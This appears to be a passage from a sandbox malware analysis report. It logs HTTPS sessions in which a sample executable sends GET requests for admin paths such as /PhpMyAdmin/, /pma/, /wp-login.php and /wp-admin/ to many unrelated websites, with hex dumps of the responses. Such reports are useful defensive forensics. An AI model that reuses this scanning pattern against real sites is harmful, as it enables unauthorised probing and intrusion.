2023-11-26 05:59:41 UTC	636	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 31 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 4c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 73 3a 2f 2f 65 73 6f 66 74 2e 61 63 61 64 65 6d 79 2f 50 68 70 4d 79 41 64 6d 69 6e 0d 0a 43 46 2d 43 61 63 68 65 2d 53 74 61 74 75 73 3a 20 44 59 4e 41 4d 49 43 0d 0a 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 6e 74 73 22 3a Data Ascii: HTTP/1.1 301 Moved PermanentlyDate: Sun, 26 Nov 2023 05:59:41 GMTContent-Type: text/html; charset=iso-8859-1Transfer-Encoding: chunkedConnection: closeLocation: https://esoft.academy/PhpMyAdminCF-Cache-Status: DYNAMICReport-To: {"endpoints":
2023-11-26 05:59:41 UTC	422	IN	Data Raw: 31 39 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 3e 0a 20 20 20 20 62 6f 64 79 20 7b 6d 61 72 67 69 6e 3a 20 32 30 70 78 3b 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 68 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 6d 61 78 2d 77 69 64 74 68 3a 20 38 30 30 70 78 3b 7d 0a 20 20 20 20 2e 65 72 72 6f 72 20 7b 63 6f 6c 6f 72 3a 20 23 65 30 30 3b 7d 0a 20 20 20 20 70 72 65 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 36 70 78 3b 7d 0a 20 20 20 20 68 31 20 7b 66 Data Ascii: 19f<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title><style> body {margin: 20px; font-family: helvetica, sans-serif; max-width: 800px;} .error {color: #e00;} pre {font-size: 16px;} h1 {f
2023-11-26 05:59:41 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
312	192.168.2.4	63562	23.185.0.1	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:41 UTC	171	OUT	GET /PhpMyAdmin/ HTTP/1.1 Host: avient.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:41 UTC	623	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 30 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 4c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 61 76 69 65 6e 74 2e 63 6f 6d 2f 50 68 70 4d 79 41 64 6d 69 6e 2f 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 53 74 72 69 63 74 2d 54 72 61 6e 73 70 6f 72 74 2d 53 65 63 75 72 69 74 79 3a 20 6d 61 78 2d 61 67 65 3d 33 31 36 32 32 34 30 30 0d 0a 58 2d 50 61 6e 74 68 65 6f 6e 2d 53 74 79 78 2d 48 6f 73 74 6e 61 6d 65 3a 20 73 74 79 78 2d 66 65 31 2d 62 2d 37 36 Data Ascii: HTTP/1.1 301 Moved PermanentlyConnection: closeContent-Length: 0Content-Type: text/html; charset=UTF-8Location: https://www.avient.com/PhpMyAdmin/Server: nginxStrict-Transport-Security: max-age=31622400X-Pantheon-Styx-Hostname: styx-fe1-b-76

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
313	192.168.2.4	63348	15.236.29.106	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:41 UTC	194	OUT	GET / HTTP/1.1 Host: getquipu.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://getquipu.com/
2023-11-26 05:59:41 UTC	358	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 31 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 39 34 36 34 31 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 3a 20 54 68 75 2c 20 32 33 20 4e 6f 76 20 32 30 32 33 20 31 34 3a 33 35 3a 30 33 20 47 4d 54 0d 0a 45 54 61 67 3a 20 22 36 35 35 66 36 33 31 37 2d 31 37 31 62 31 22 0d 0a 53 74 72 69 63 74 2d 54 72 61 6e 73 70 6f 72 74 2d 53 65 63 75 72 69 74 79 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 3b 20 69 6e 63 6c Data Ascii: HTTP/1.1 200 OKServer: nginxDate: Sun, 26 Nov 2023 05:59:41 GMTContent-Type: text/htmlContent-Length: 94641Connection: closeLast-Modified: Thu, 23 Nov 2023 14:35:03 GMTETag: "655f6317-171b1"Strict-Transport-Security: max-age=31536000; incl
2023-11-26 05:59:41 UTC	16026	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 20 20 4c 61 73 74 20 50 75 62 6c 69 73 68 65 64 3a 20 54 68 75 20 4e 6f 76 20 32 33 20 32 30 32 33 20 31 34 3a 30 37 3a 33 37 20 47 4d 54 2b 30 30 30 30 20 28 43 6f 6f 72 64 69 6e 61 74 65 64 20 55 6e 69 76 65 72 73 61 6c 20 54 69 6d 65 29 20 20 2d 2d 3e 0a 3c 68 74 6d 6c 0a 20 20 64 61 74 61 2d 77 66 2d 70 61 67 65 3d 22 36 35 35 37 39 32 66 62 30 36 30 66 34 66 34 30 65 33 37 66 62 36 62 64 22 0a 20 20 64 61 74 61 2d 77 66 2d 73 69 74 65 3d 22 36 34 30 30 63 34 39 64 66 66 34 62 34 35 38 36 34 65 38 39 36 61 34 62 22 0a 20 20 6c 61 6e 67 3d 22 65 73 22 0a 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 Data Ascii: <!DOCTYPE html>... Last Published: Thu Nov 23 2023 14:07:37 GMT+0000 (Coordinated Universal Time) --><html data-wf-page="655792fb060f4f40e37fb6bd" data-wf-site="6400c49dff4b45864e896a4b" lang="es"> <head> <meta charset="utf-8" /> <ti
2023-11-26 05:59:41 UTC	16384	IN	Data Raw: 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 75 75 69 2d 74 65 78 74 2d 73 69 7a 65 2d 73 6d 61 6c 6c 2d 32 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 43 6f 6e 6f 63 65 20 65 6c 20 65 73 74 61 64 6f 20 64 65 20 74 75 20 66 61 63 74 75 72 61 63 69 c3 b3 6e 20 70 6f 72 20 63 6f 6e 74 61 63 74 6f 2e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: v> <div class="uui-text-size-small-2"> Conoce el estado de tu facturacin por contacto. </div> </div> </a>
2023-11-26 05:59:42 UTC	16384	IN	Data Raw: 2f 70 65 72 73 6f 6e 61 6c 69 7a 61 72 2d 66 61 63 74 75 72 61 2e 6a 73 6f 6e 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 61 74 61 2d 6c 6f 6f 70 3d 22 31 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 61 74 61 2d 64 69 72 65 63 74 69 6f 6e 3d 22 31 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 61 74 61 2d 61 75 74 6f 70 6c 61 79 3d 22 31 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 61 74 61 2d 69 73 2d 69 78 32 2d 74 61 72 67 65 74 3d 22 30 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 61 74 61 2d 72 65 6e 64 65 72 65 72 3d 22 73 76 67 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 61 74 61 2d 64 75 72 61 74 69 6f 6e Data Ascii: /personalizar-factura.json" data-loop="1" data-direction="1" data-autoplay="1" data-is-ix2-target="0" data-renderer="svg" data-duration
2023-11-26 05:59:42 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 61 6c 74 3d 22 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6c 61 73 73 3d 22 69 6d 61 67 65 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 0a 20 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 77 2d 6e 6f 64 65 2d 5f 35 66 38 65 31 64 33 31 2d 38 66 61 38 2d 64 35 63 31 2d 36 30 34 36 2d 30 37 62 34 31 32 34 39 33 63 37 36 2d 31 32 34 39 33 63 37 31 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6c 61 73 73 3d 22 64 69 76 20 62 67 5f 5f 67 72 65 65 6e 5f 69 6d 61 67 65 20 66 75 6c 6c 2d 63 65 6e 74 65 72 20 72 6f 75 6e 64 65 64 5f 5f 32 30 70 78 22 0a 20 20 20 20 20 20 20 20 20 20 Data Ascii: " alt="" class="image" /> </div> <div id="w-node-_5f8e1d31-8fa8-d5c1-6046-07b412493c76-12493c71" class="div bg__green_image full-center rounded__20px"
2023-11-26 05:59:42 UTC	16384	IN	Data Raw: 74 65 72 2d 6c 69 6e 6b 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3e 49 6e 67 72 65 73 6f 73 20 79 20 67 61 73 74 6f 73 3c 2f 61 0a 20 20 20 20 20 20 20 20 20 20 20 20 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 65 73 2f 67 65 73 74 69 6f 6e 2d 63 6f 62 72 6f 73 2d 79 2d 70 61 67 6f 73 22 20 63 6c 61 73 73 3d 22 6c 69 6e 6b 20 66 6f 6f 74 65 72 2d 6c 69 6e 6b 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3e 43 6f 62 72 6f 73 20 79 20 70 61 67 6f 73 3c 2f 61 0a 20 20 20 20 20 20 20 20 20 20 20 20 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 65 73 2f 67 65 73 74 69 6f 6e 2d 63 6c 69 65 6e 74 65 73 2d 70 72 6f 76 65 65 64 6f 72 65 73 22 20 63 6c 61 73 73 3d 22 6c 69 6e 6b 20 66 6f 6f 74 65 72 2d 6c 69 Data Ascii: ter-link" >Ingresos y gastos</a > <a href="es/gestion-cobros-y-pagos" class="link footer-link" >Cobros y pagos</a > <a href="es/gestion-clientes-proveedores" class="link footer-li
2023-11-26 05:59:42 UTC	13079	IN	Data Raw: 20 34 30 2e 38 37 34 39 20 33 33 2e 30 35 31 39 20 34 31 2e 30 37 30 35 20 33 33 2e 34 35 33 39 4c 34 31 2e 39 33 39 37 20 33 35 2e 31 39 32 34 43 34 32 2e 30 39 31 38 20 33 35 2e 34 38 35 37 20 34 32 2e 33 37 34 33 20 33 35 2e 36 34 38 37 20 34 32 2e 36 37 38 35 20 33 35 2e 36 34 38 37 5a 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 69 6c 6c 3d 22 77 68 69 74 65 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3e 3c 2f 70 61 74 68 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 3d 22 4d 33 33 2e 30 39 35 34 20 33 30 2e 34 32 32 35 43 33 33 2e 32 31 34 39 20 33 30 2e 34 32 32 35 20 33 33 2e 33 34 35 33 20 33 30 2e 33 39 20 33 33 2e 34 35 33 39 20 33 30 Data Ascii: 40.8749 33.0519 41.0705 33.4539L41.9397 35.1924C42.0918 35.4857 42.3743 35.6487 42.6785 35.6487Z" fill="white" ></path> <path d="M33.0954 30.4225C33.2149 30.4225 33.3453 30.39 33.4539 30

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
314	192.168.2.4	63558	54.83.33.36	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:41 UTC	166	OUT	GET /pma/ HTTP/1.1 Host: ce-logic.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:41 UTC	262	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 31 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 2f 32 2e 34 2e 35 32 20 28 55 62 75 6e 74 75 29 0d 0a 76 61 72 79 3a 20 58 2d 46 6f 72 77 61 72 64 65 64 2d 50 72 6f 74 6f 63 6f 6c 0d 0a 63 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6e 6f 2d 73 74 6f 72 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 Data Ascii: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:41 GMTServer: Apache/2.4.52 (Ubuntu)vary: X-Forwarded-Protocolcache-control: no-cache, no-store, must-revalidateConnection: closeTransfer-Encoding: chunkedContent-Type: text/html; charset=ut
2023-11-26 05:59:41 UTC	7930	IN	Data Raw: 35 38 33 36 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 62 61 73 65 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 65 2d 6c 6f 67 69 63 2e 63 6f 6d 2f 22 3e 3c 21 2d 2d 5b 69 66 20 6c 74 65 20 49 45 20 36 5d 3e 3c 2f 62 61 73 65 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 Data Ascii: 5836<!doctype html><html class="no-js" lang="en"> <head> <base href="https://ce-logic.com/">...[if lte IE 6]></base><![endif]--> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <title>Pa
2023-11-26 05:59:41 UTC	14658	IN	Data Raw: 52 65 73 65 61 72 63 68 20 53 6f 6c 75 74 69 6f 6e 73 3c 2f 70 3e 0a 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0a 09 09 09 09 09 09 09 09 09 09 0a 09 09 09 09 09 09 09 09 09 09 3c 61 20 68 72 65 66 3d 22 2f 65 64 75 63 61 74 69 6f 6e 61 6c 2d 73 6f 6c 75 74 69 6f 6e 73 2d 70 61 67 65 2f 6d 61 6b 65 72 73 70 61 63 65 2f 22 20 63 6c 61 73 73 3d 22 62 74 6e 20 77 68 69 74 65 20 61 6c 69 67 6e 2d 63 22 3e 0a 09 09 09 09 09 09 09 09 09 09 09 3c 70 20 63 6c 61 73 73 3d 22 62 74 6e 2d 74 65 78 74 22 3e 4d 61 6b 65 72 73 70 61 63 65 3c 2f 70 3e 0a 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0a 09 09 09 09 09 09 09 09 09 09 0a 09 09 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 Data Ascii: Research Solutions</p></a><a href="/educational-solutions-page/makerspace/" class="btn white align-c"><p class="btn-text">Makerspace</p></a></div></div></div>
2023-11-26 05:59:41 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2023-11-26 05:59:41 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
315	192.168.2.4	63567	144.202.62.131	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:41 UTC	182	OUT	GET /wp-login.php HTTP/1.1 Host: gruporegiosafety.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:42 UTC	352	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 31 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 45 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 31 20 4a 61 6e 20 31 39 38 34 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 58 2d 46 72 61 6d 65 2d 4f 70 74 69 6f 6e 73 3a 20 53 41 4d 45 4f 52 49 47 49 4e 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 77 6f 72 64 70 72 65 73 73 5f 74 65 73 74 5f 63 6f 6f 6b 69 65 3d 57 50 25 32 30 43 6f 6f 6b 69 65 25 32 30 63 68 65 63 6b 3b 20 70 61 74 68 3d 2f 3b 20 Data Ascii: HTTP/1.1 200 OKDate: Sun, 26 Nov 2023 05:59:41 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0X-Frame-Options: SAMEORIGINSet-Cookie: wordpress_test_cookie=WP%20Cookie%20check; path=/;
2023-11-26 05:59:42 UTC	7840	IN	Data Raw: 32 38 32 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 09 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 73 2d 4d 58 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 74 69 74 6c 65 3e 41 63 63 65 64 65 72 20 26 6c 73 61 71 75 6f 3b 20 47 52 55 50 4f 20 52 45 47 49 4f 20 53 41 46 45 54 59 20 26 23 38 32 31 32 3b 20 57 6f 72 64 50 72 65 73 73 3c 2f 74 69 74 6c 65 3e 0a 09 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 2e 6c 6f 67 69 6e 2d 61 63 74 69 6f 6e 2d 6c 6f 73 74 70 61 73 73 77 6f 72 64 20 23 6c 6f 67 69 6e 5f 65 72 72 6f 72 7b 0a 20 20 Data Ascii: 282a<!DOCTYPE html><html lang="es-MX"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><title>Acceder &lsaquo; GRUPO REGIO SAFETY — WordPress</title> <style> .login-action-lostpassword #login_error{
2023-11-26 05:59:42 UTC	2448	IN	Data Raw: 20 25 32 24 73 21 20 55 73 65 20 25 33 24 73 20 69 6e 73 74 65 61 64 2e 20 50 6c 65 61 73 65 20 63 6f 6e 73 69 64 65 72 20 77 72 69 74 69 6e 67 20 6d 6f 72 65 20 69 6e 63 6c 75 73 69 76 65 20 63 6f 64 65 2e 22 3a 5b 22 5c 75 30 30 61 31 25 31 24 73 20 65 73 74 5c 75 30 30 65 31 20 65 6e 20 64 65 73 75 73 6f 20 64 65 73 64 65 20 6c 61 20 76 65 72 73 69 5c 75 30 30 66 33 6e 20 25 32 24 73 21 20 55 73 61 20 25 33 24 73 20 65 6e 20 73 75 20 6c 75 67 61 72 2e 20 50 6f 72 20 66 61 76 6f 72 20 63 6f 6e 73 69 64 65 72 61 20 65 73 63 72 69 62 69 72 20 75 6e 20 63 5c 75 30 30 66 33 64 69 67 6f 20 6d 5c 75 30 30 65 31 73 20 69 6e 63 6c 75 73 69 76 6f 2e 22 5d 7d 7d 2c 22 63 6f 6d 6d 65 6e 74 22 3a 7b 22 72 65 66 65 72 65 6e 63 65 22 3a 22 77 70 2d 61 64 6d 69 6e 5c Data Ascii: %2$s! Use %3$s instead. Please consider writing more inclusive code.":["\u00a1%1$s est\u00e1 en desuso desde la versi\u00f3n %2$s! Usa %3$s en su lugar. Por favor considera escribir un c\u00f3digo m\u00e1s inclusivo."]}},"comment":{"reference":"wp-admin\
2023-11-26 05:59:42 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2023-11-26 05:59:42 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
316	192.168.2.4	63568	162.241.62.220	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:41 UTC	177	OUT	GET /wp-admin/ HTTP/1.1 Host: lumaruniformes.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:42 UTC	417	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 32 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 31 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 45 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 31 20 4a 61 6e 20 31 39 38 34 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 58 2d 52 65 64 69 72 65 63 74 2d 42 79 3a 20 57 6f 72 64 50 72 65 73 73 0d 0a 55 70 67 72 61 64 65 3a 20 68 32 2c 68 32 63 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 55 70 67 72 61 64 65 2c 20 63 6c 6f 73 65 0d 0a 4c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 73 3a 2f 2f Data Ascii: HTTP/1.1 302 FoundDate: Sun, 26 Nov 2023 05:59:41 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0X-Redirect-By: WordPressUpgrade: h2,h2cConnection: Upgrade, closeLocation: https://

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
317	192.168.2.4	63587	35.164.64.246	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:41 UTC	174	OUT	GET /PhpMyAdmin/ HTTP/1.1 Host: belongfbg.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:41 UTC	150	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 64 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 31 20 47 4d 54 0d 0a 63 6f 6e 74 65 6e 74 2d 74 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 74 72 61 6e 73 66 65 72 2d 65 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 63 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 0d 0a Data Ascii: HTTP/1.1 404 Not Founddate: Sun, 26 Nov 2023 05:59:41 GMTcontent-type: text/html; charset=UTF-8transfer-encoding: chunkedconnection: close
2023-11-26 05:59:41 UTC	1321	IN	Data Raw: 35 32 32 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 0a 68 74 6d 6c 2c 62 6f 64 79 7b 0a 20 20 20 20 77 69 64 74 68 3a 31 30 30 25 3b 0a 20 20 20 20 68 65 69 67 68 74 3a 31 30 30 25 3b 0a 20 20 20 20 6d 61 72 67 69 6e 3a 30 3b 0a 20 20 20 20 70 